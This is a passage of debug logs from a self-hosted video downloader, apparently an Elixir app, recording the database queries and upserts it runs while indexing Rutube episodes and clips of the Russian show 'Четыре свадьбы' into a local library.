= 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83522] 14:35:38.151 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Тост.mp4", "id" => "f8173b7daa8a3c8dfc43e3f69f6384dd", "original_url" => "https://rutube.ru/video/f8173b7daa8a3c8dfc43e3f69f6384dd/", "playlist_index" => 26, "timestamp" => 1539695305, "title" => "Тост", "upload_date" => "20181016"} 14:35:38.153 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=29.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:38.155 [debug] QUERY OK source="sources" db=0.8ms queue=0.7ms idle=13.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.158 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 13:08:25Z], 1] 14:35:38.244 [debug] QUERY OK source="media_items" db=84.7ms queue=0.1ms idle=10.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Тост", "1278dc6d-96f9-49ae-b306-55404fba6139", "f8173b7daa8a3c8dfc43e3f69f6384dd", 30, false, "https://rutube.ru/video/f8173b7daa8a3c8dfc43e3f69f6384dd/", 26, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Тост.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 13:08:25Z], ~U[2025-12-09 11:35:38Z], ~U[2025-12-09 11:35:38Z], "", "Тост", "f8173b7daa8a3c8dfc43e3f69f6384dd", 30, false, "https://rutube.ru/video/f8173b7daa8a3c8dfc43e3f69f6384dd/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Тост.mp4", false, 1, ~U[2018-10-16 13:08:25Z]] 14:35:38.262 [debug] QUERY OK source="sources" db=15.5ms queue=0.1ms idle=95.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.268 [debug] QUERY OK source="media_profiles" db=5.6ms queue=0.1ms idle=109.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:38.272 [debug] QUERY OK source="media_items" db=3.0ms idle=113.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83523] 14:35:38.274 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e083000 - Все пошло не по плану.mp4", "id" => "fdc80b1ae6758b2c714084dc6a8dac85", "original_url" => "https://rutube.ru/video/fdc80b1ae6758b2c714084dc6a8dac85/", "playlist_index" => 27, "timestamp" => 1567195384, "title" => "Все пошло не по плану", "upload_date" => "20190830"} 14:35:38.276 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=116.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:38.284 [debug] QUERY OK source="sources" db=4.4ms queue=1.8ms idle=34.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.290 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=23.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-30 20:03:04Z], 1] 14:35:38.400 [debug] QUERY OK source="media_items" db=109.3ms queue=0.1ms idle=22.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Все пошло не по плану", "6f3cd14f-300e-49d8-9fe5-5b34ffe337c0", "fdc80b1ae6758b2c714084dc6a8dac85", 25, false, "https://rutube.ru/video/fdc80b1ae6758b2c714084dc6a8dac85/", 27, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e083000 - Все пошло не по плану.mp4", false, false, false, 1, [], 1, ~U[2019-08-30 20:03:04Z], ~U[2025-12-09 11:35:38Z], ~U[2025-12-09 11:35:38Z], "", "Все пошло не по плану", "fdc80b1ae6758b2c714084dc6a8dac85", 25, false, "https://rutube.ru/video/fdc80b1ae6758b2c714084dc6a8dac85/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e083000 - Все пошло не по плану.mp4", false, 1, ~U[2019-08-30 20:03:04Z]] 14:35:38.421 [debug] QUERY OK source="sources" db=19.8ms queue=0.1ms idle=129.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.423 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=145.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:38.424 [debug] QUERY OK source="media_items" db=1.1ms idle=139.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83524] 14:35:38.425 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080200 - Фильм ужасов.mp4", "id" => "fe8fd648ba8fc8e6030d9395688395ab", "original_url" => "https://rutube.ru/video/fe8fd648ba8fc8e6030d9395688395ab/", "playlist_index" => 28, "timestamp" => 1564754109, "title" => "Фильм ужасов", "upload_date" => "20190802"} 14:35:38.426 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=135.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:38.427 [debug] QUERY OK source="sources" db=0.6ms idle=26.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.428 [debug] QUERY OK source="media_items" db=1.1ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-02 13:55:09Z], 1] 14:35:38.537 [debug] QUERY OK source="media_items" db=107.5ms idle=6.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Фильм ужасов", "d98f6eee-1837-48e6-810d-4f941fa4c654", "fe8fd648ba8fc8e6030d9395688395ab", 25, false, "https://rutube.ru/video/fe8fd648ba8fc8e6030d9395688395ab/", 28, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080200 - Фильм ужасов.mp4", false, false, false, 1, [], 1, ~U[2019-08-02 13:55:09Z], ~U[2025-12-09 11:35:38Z], ~U[2025-12-09 11:35:38Z], "", "Фильм ужасов", "fe8fd648ba8fc8e6030d9395688395ab", 25, false, "https://rutube.ru/video/fe8fd648ba8fc8e6030d9395688395ab/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080200 - Фильм ужасов.mp4", false, 1, ~U[2019-08-02 13:55:09Z]] 14:35:38.552 [debug] QUERY OK source="sources" db=13.5ms queue=0.4ms idle=113.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.553 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=126.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:38.554 [debug] QUERY OK source="media_items" db=0.3ms idle=126.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83525] 14:35:38.554 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 20, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e100900 - Четыре свадьбы. Премьера. Каждый вторник 19_00.mp4", "id" => "4829505f0908adb98af1a73ba46d13c2", "original_url" => "https://rutube.ru/video/4829505f0908adb98af1a73ba46d13c2/", "playlist_index" => 29, "timestamp" => 1539094542, "title" => "Четыре свадьбы. Премьера. Каждый вторник 19:00", "upload_date" => "20181009"} 14:35:38.555 [debug] QUERY OK source="sources" db=0.7ms idle=126.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:38.556 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=18.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.557 [debug] QUERY OK source="media_items" db=0.7ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 14:15:42Z], 1] 14:35:38.632 [debug] QUERY OK source="media_items" db=74.7ms idle=4.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Каждый вторник 19:00", "6901efe9-0f0f-4f6b-b98f-51516767edb5", "4829505f0908adb98af1a73ba46d13c2", 20, false, "https://rutube.ru/video/4829505f0908adb98af1a73ba46d13c2/", 29, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e100900 - Четыре свадьбы. Премьера. Каждый вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-10-09 14:15:42Z], ~U[2025-12-09 11:35:38Z], ~U[2025-12-09 11:35:38Z], "", "Четыре свадьбы. Премьера. Каждый вторник 19:00", "4829505f0908adb98af1a73ba46d13c2", 20, false, "https://rutube.ru/video/4829505f0908adb98af1a73ba46d13c2/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e100900 - Четыре свадьбы. Премьера. Каждый вторник 19_00.mp4", false, 1, ~U[2018-10-09 14:15:42Z]] 14:35:38.648 [debug] QUERY OK source="sources" db=15.0ms queue=0.1ms idle=78.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.650 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=93.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:38.652 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=94.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 14:35:38.652 [debug] Current batch of media processed. Will check again in 1000ms 14:35:39.655 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Мы побываем на свадьбах четырех невест – Наташи, Даши, Ани и Алины. Наташа из Нарьян-Мара устроит годовщину свадьбы в традиционном ненецком стиле с танцами и шаманскими обрядами. У тиктокера Даши будет современная свадьба в Тюмени. Студентка Аня из Рязани удивит всех свадьбой в медицинской тематике. Певица Алина из Севастополя приглашает на классическую свадьбу на берегу моря. Какие сюрпризы подготовили участницы, узнаем из программы «Четыре свадьбы».", "duration" => 4162, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 11.mp4", "id" => "af6906a6c0fbfdd2ea21babc1abf42b0", "original_url" => "https://rutube.ru/video/af6906a6c0fbfdd2ea21babc1abf42b0/", "playlist_index" => 30, "timestamp" => 1631066431, "title" => "Четыре свадьбы: Серия 11", "upload_date" => "20210908"} 14:35:39.656 [debug] QUERY OK source="sources" db=0.6ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:39.657 [debug] QUERY OK source="sources" db=0.7ms idle=1006.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:39.658 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-08 02:00:31Z], 1] 14:35:39.802 [debug] QUERY OK source="media_items" db=142.4ms idle=509.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Мы побываем на свадьбах четырех невест – Наташи, Даши, Ани и Алины. Наташа из Нарьян-Мара устроит годовщину свадьбы в традиционном ненецком стиле с танцами и шаманскими обрядами. У тиктокера Даши будет современная свадьба в Тюмени. Студентка Аня из Рязани удивит всех свадьбой в медицинской тематике. Певица Алина из Севастополя приглашает на классическую свадьбу на берегу моря. Какие сюрпризы подготовили участницы, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Серия 11", "b485f440-1300-46dc-a837-18d8cdc0322a", "af6906a6c0fbfdd2ea21babc1abf42b0", 4162, false, "https://rutube.ru/video/af6906a6c0fbfdd2ea21babc1abf42b0/", 30, "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 11.mp4", false, false, false, 1, [], 2, ~U[2021-09-08 02:00:31Z], ~U[2025-12-09 11:35:39Z], ~U[2025-12-09 11:35:39Z], "Мы побываем на свадьбах четырех невест – Наташи, Даши, Ани и Алины. 